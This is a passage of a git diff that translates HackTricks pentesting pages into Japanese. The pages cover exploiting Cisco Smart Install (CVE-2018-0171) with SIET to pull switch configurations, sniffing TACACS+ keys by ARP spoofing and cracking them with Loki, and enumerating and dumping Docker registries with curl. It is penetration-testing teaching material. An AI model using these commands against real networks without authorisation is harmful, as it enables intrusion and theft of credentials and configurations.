PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/4786-cisco-smart-install.md b/network-services-pentesting/4786-cisco-smart-install.md index c2945d9ae..778cd941e 100644 --- a/network-services-pentesting/4786-cisco-smart-install.md +++ b/network-services-pentesting/4786-cisco-smart-install.md @@ -4,48 +4,44 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Basic Information +## 基本情報 -**Cisco Smart Install** is a Cisco designed to automate the initial configuration and loading of an operating system image for new Cisco hardware. **By default, Cisco Smart Install is active on Cisco hardware and uses the transport layer protocol, TCP, with port number 4786.** - -**Default port:** 4786 +**Cisco Smart Install**は、新しいCiscoハードウェアの初期設定とオペレーティングシステムイメージのロードを自動化するためにCiscoが設計したものです。**デフォルトでは、Cisco Smart InstallはCiscoハードウェア上でアクティブであり、トランスポート層プロトコルであるTCPを使用し、ポート番号4786を使用します。** +**デフォルトポート:** 4786 ``` PORT STATE SERVICE 4786/tcp open smart-install ``` - ## **Smart Install Exploitation Tool** -**In 2018, a critical vulnerability, CVE-2018–0171, was found in this protocol. The threat level is 9.8 on the CVSS scale.** +**2018年、このプロトコルには重大な脆弱性であるCVE-2018–0171が見つかりました。脅威レベルはCVSSスケールで9.8です。** -**A specially crafted packet sent to the TCP/4786 port, where Cisco Smart Install is active, triggers a buffer overflow, allowing an attacker to:** +**Cisco Smart InstallがアクティブなTCP/4786ポートに送信される特別に作成されたパケットは、バッファオーバーフローを引き起こし、攻撃者が以下のことを行うことを可能にします:** -* forcibly reboot the device -* call RCE -* steal configurations of network equipment. +* デバイスを強制的に再起動する +* RCEを呼び出す +* ネットワーク機器の設定を盗む -**The** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** was developed to exploit this vulnerability, it allows you to abuse Cisco Smart Install. In this article I will show you how you can read a legitimate network hardware configuration file. Configure exfiltration can be valuable for a pentester because it will learn about the unique features of the network. And this will make life easier and allow finding new vectors for an attack. +**この脆弱性を悪用するために開発された** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)**を使用すると、Cisco Smart Installを悪用することができます。この記事では、正当なネットワークハードウェアの設定ファイルを読み取る方法を紹介します。ペンテスターにとって、構成の外部流出は貴重な情報となり、ネットワークの固有の機能について学ぶことができます。これにより、攻撃の新たなベクトルを見つけることが容易になります。 -**The target device will be a “live” Cisco Catalyst 2960 switch. Virtual images do not have Cisco Smart Install, so you can only practice on the real hardware.** - -The address of the target switch is **10.10.100.10 and CSI is active.** Load SIET and start the attack. **The -g argument** means exfiltration of the configuration from the device, **the -i argument** allows you to set the IP address of the vulnerable target. +**ターゲットデバイスは「ライブ」のCisco Catalyst 2960スイッチです。仮想イメージにはCisco Smart Installがないため、実際のハードウェアでのみ練習できます。** +ターゲットスイッチのアドレスは**10.10.100.10でCSIがアクティブです。** SIETをロードして攻撃を開始します。**-g引数**はデバイスからの構成の外部流出を意味し、**-i引数**は脆弱なターゲットのIPアドレスを設定することができます。 ``` ~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10 ``` -
-The switch configuration **10.10.100.10** will be in the **tftp/** folder +スイッチの設定 **10.10.100.10** は **tftp/** フォルダにあります。 \ @@ -56,10 +52,10 @@ The switch configuration **10.10.100.10** will be in the **tftp/** folder ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index 662f71848..4136e4a07 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -1,90 +1,86 @@ -# 49 - Pentesting TACACS+ +# 49 - TACACS+のペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information - -**Terminal Access Controller Access Control System (TACACS)** is a security protocol that provides centralized validation of users who are attempting to gain **access to a router or NAS**. TACACS+, a more recent version of the original TACACS protocol, provides separate authentication, authorization, and accounting (AAA) services. +## 基本情報 +**Terminal Access Controller Access Control System (TACACS)**は、**ルーターやNASにアクセスしようとするユーザーの集中的な認証**を提供するセキュリティプロトコルです。TACACSのより新しいバージョンであるTACACS+は、認証、認可、およびアカウンティング(AAA)のサービスを分離して提供します。 ``` PORT STATE SERVICE 49/tcp open tacacs ``` +**デフォルトポート:** 49 -**Default port:** 49 +## 認証キーの傍受 -## Intercept Authentication Key - -If an attacker manages to get in the middle between the client and the TACACS server, **he can intercept the authentication key** in encrypted form and then do a local bruteforce against it. So you both bruteforce the key and you don’t show up in the logs. And if you manage to bruteforce the key, **you’ll be able to access the network equipment and decrypt the traffic** in **Wireshark**. +攻撃者がクライアントとTACACSサーバーの間に入ることに成功した場合、**彼は暗号化された認証キーを傍受**し、それをローカルでブルートフォース攻撃することができます。したがって、キーをブルートフォース攻撃することができ、ログには表示されません。そして、キーをブルートフォース攻撃することに成功した場合、**ネットワーク機器にアクセスし、Wiresharkでトラフィックを復号化**することができます。 ### MitM -In order to perform a MitM attack you could use an [**ARP spoofing attack**](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing). +MitM攻撃を実行するためには、[**ARPスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を使用することができます。 -### Brute-force Key - -Now you need to run [Loki](https://c0decafe.de/svn/codename\_loki/trunk/). This is a special tool designed to analyze the security of L2/L3 protocols. Its capabilities are just as good as those of the popular **Yersinia** and it is a serious competitor to it. Loki can also bruteforce TACACS keys. If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.** +### ブルートフォース攻撃 +今、[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)を実行する必要があります。これはL2/L3プロトコルのセキュリティを分析するために特別に設計されたツールです。その機能は人気のある**Yersinia**と同等であり、真剣な競争相手です。Lokiはまた、TACACSキーをブルートフォース攻撃することもできます。キーが**通常はMD5で暗号化された形式で**成功した場合、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**することができます。 ``` sudo loki_gtk.py ``` -
-You also need to specify the path to the dictionary in order to bruteforce the encrypted key. Be sure to uncheck the **Use Bruteforce** option, otherwise Loki will bruteforce the password without using the dictionary. +暗号化されたキーをブルートフォース攻撃するために、辞書へのパスを指定する必要があります。**ブルートフォースを使用する**オプションのチェックを外すことを忘れないでください。そうしないと、Lokiは辞書を使用せずにパスワードをブルートフォース攻撃します。
-Now we have to wait for an administrator to log into the device through the TACACS server. It is assumed that the network administrator has already logged in, and we, **standing in the middle via ARP spoofing**, intercept the traffic. And in doing so, the legitimate hosts don’t realize that someone else has interfered with their connection. +今、管理者がTACACSサーバーを介してデバイスにログインするのを待つ必要があります。ネットワーク管理者がすでにログインしていると仮定し、私たちは**ARPスプーフィングを介して中間に立って**トラフィックを傍受します。そして、合法的なホストは自分たちの接続に他の誰かが干渉したことに気づきません。
-Now click the **CRACK** button and wait for **Loki** to break the password. +今、**CRACK**ボタンをクリックして、**Loki**がパスワードを解読するのを待ちます。
-### Decrypt Traffic +### トラフィックの解読 -Great, we managed to unlock the key, now we need to decrypt the TACACS traffic. As I said, Wireshark can handle encrypted TACACS traffic if the key is present. +素晴らしい、キーを解除することに成功しました。これで、キーが存在する場合、Wiresharkは暗号化されたTACACSトラフィックを処理できます。
-We see which banner was used. +使用されたバナーがわかります。
-We find the username of the user `admin` +ユーザー`admin`のユーザー名を見つけます。
-As a result, **we have the `admin:secret1234` credentials,** which can be used to access the hardware itself. **I think I’ll check their validity.** +結果として、**`admin:secret1234`の資格情報**を取得しました。これはハードウェア自体にアクセスするために使用できます。**有効性を確認してみましょう。**
-This is how you can attack TACACS+ and **gain access** to the control panel of network equipment. +これがTACACS+を攻撃し、ネットワーク機器の制御パネルに**アクセスする方法**です。 -## References +## 参考文献 -* The interception key section was copied from [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) +* インターセプトキーのセクションは、[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)からコピーされました。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/network-services-pentesting/5000-pentesting-docker-registry.md b/network-services-pentesting/5000-pentesting-docker-registry.md index 53e106c1d..f32cb0c15 100644 --- a/network-services-pentesting/5000-pentesting-docker-registry.md +++ b/network-services-pentesting/5000-pentesting-docker-registry.md @@ -1,82 +1,73 @@ -# 5000 - Pentesting Docker Registry +# 5000 - Dockerレジストリのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Basic Information +## 基本情報 -**Info from** [**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.** +**[ここ](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**からの情報です。 -A **Docker registry** is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags.\ -A Docker registry is organized into **Docker repositories** , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry (given adequate access permissions when applicable). +**Dockerレジストリ**は、名前付きのDockerイメージのためのストレージおよび配布システムです。同じイメージには、タグによって識別される複数の異なるバージョンがある場合があります。\ +Dockerレジストリは、**Dockerリポジトリ**に組織化されており、リポジトリには特定のイメージのすべてのバージョンが格納されています。レジストリでは、Dockerユーザーはイメージをローカルにプルしたり、新しいイメージをレジストリにプッシュしたりすることができます(適切なアクセス許可がある場合)。 -By default, the Docker engine interacts with **DockerHub** , Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called **Docker Trusted Registry** . There are other public registries available online. - -To pull an image from an on-premises registry, you could run a command similar to: +デフォルトでは、DockerエンジンはDockerの公開レジストリである**DockerHub**とやり取りします。ただし、オンプレミスでオープンソースのDockerレジストリ/ディストリビューションや、商用サポートされた**Docker Trusted Registry**と呼ばれるバージョンを実行することも可能です。他の公開レジストリもオンラインで利用できます。 +オンプレミスのレジストリからイメージをプルするには、次のようなコマンドを実行できます: ``` docker pull my-registry:9000/foo/bar:2.1 ``` - -where you pull the version of `foo/bar` image with tag `2.1` from our on-premise registry located at `my-registry` domain, port `9000` .\ -If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally: - +あなたが`foo/bar`イメージのバージョン`2.1`を、オンプレミスのレジストリである`my-registry`ドメインのポート`9000`から取得する場合、次のコマンドを使用できます。\ +もしDockerHubを使用し、2.1が最新バージョンである場合、同じイメージをローカルに取得するために次のコマンドを実行できます。 ``` docker pull foo/bar ``` - -**Default port:** 5000 - +**デフォルトポート:** 5000 ``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` +## 発見 -## Discovering +このサービスが実行されているかどうかを発見する最も簡単な方法は、nmapの出力で確認することです。ただし、HTTPベースのサービスであるため、HTTPプロキシの背後にある場合はnmapでは検出できません。 +いくつかのフィンガープリント: -The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\ -Some fingerprints: +- `/` にアクセスすると、応答には何も返されません +- `/v2/` にアクセスすると、`{}` が返されます +- `/v2/_catalog` にアクセスすると、次のような結果が得られる場合があります: +- `{"repositories":["alpine","ubuntu"]}` +- `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` -* If you access `/` nothing is returned in the response -* If you access `/v2/` then `{}` is returned -* If you access `/v2/_catalog` you may obtain: - * `{"repositories":["alpine","ubuntu"]}` - * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` - -## Enumeration +## 列挙 ### HTTP/HTTPS -Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured: - +Dockerレジストリは**HTTP**または**HTTPS**を使用するように設定されている場合があります。したがって、最初に行う必要があるのは、**どちらが設定されているか**を見つけることです: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS -Warning: Binary output can mess up your terminal. Use "--output -" to tell -Warning: curl to output it to your terminal anyway, or consider "--output +Warning: Binary output can mess up your terminal. Use "--output -" to tell +Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` +### 認証 -### Authentication - -Docker registry may also be configured to require **authentication**: - +Dockerレジストリは、**認証**を必要とするように設定することもできます。 ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required @@ -84,18 +75,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog #If no authentication required {"repositories":["alpine","ubuntu"]} ``` - -If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\ -**If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this: - +Docker Registryが認証を要求している場合、[**これを使用してブルートフォース攻撃を試みることができます**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\ +**有効な資格情報を見つけた場合は、それらを使用して**レジストリを列挙する必要があります。`curl`では、次のように使用できます: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` +### DockerRegistryGrabberを使用した列挙 -### Enumeration using DockerRegistryGrabber - -[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication) - +[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)は、Dockerレジストリを列挙/ダンプするためのPythonツールです(基本認証なしまたは基本認証あり)。 ```bash python3 DockerGraber.py http://127.0.0.1 --list @@ -108,35 +95,33 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all [+] my-ubuntu2 [+] blobSum found 5 [+] Dumping my-ubuntu - [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 - [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 - [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 - [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 - [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 +[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 +[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 +[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 +[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 +[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 [+] blobSum found 5 [+] Dumping my-ubuntu2 - [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 - [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 - [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 - [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 - [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 +[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 +[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 +[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 +[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 +[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu [+] blobSum found 5 [+] Dumping my-ubuntu - [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 - [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 - [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 - [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 - [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 +[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 +[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 +[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 +[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 +[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 ``` +### 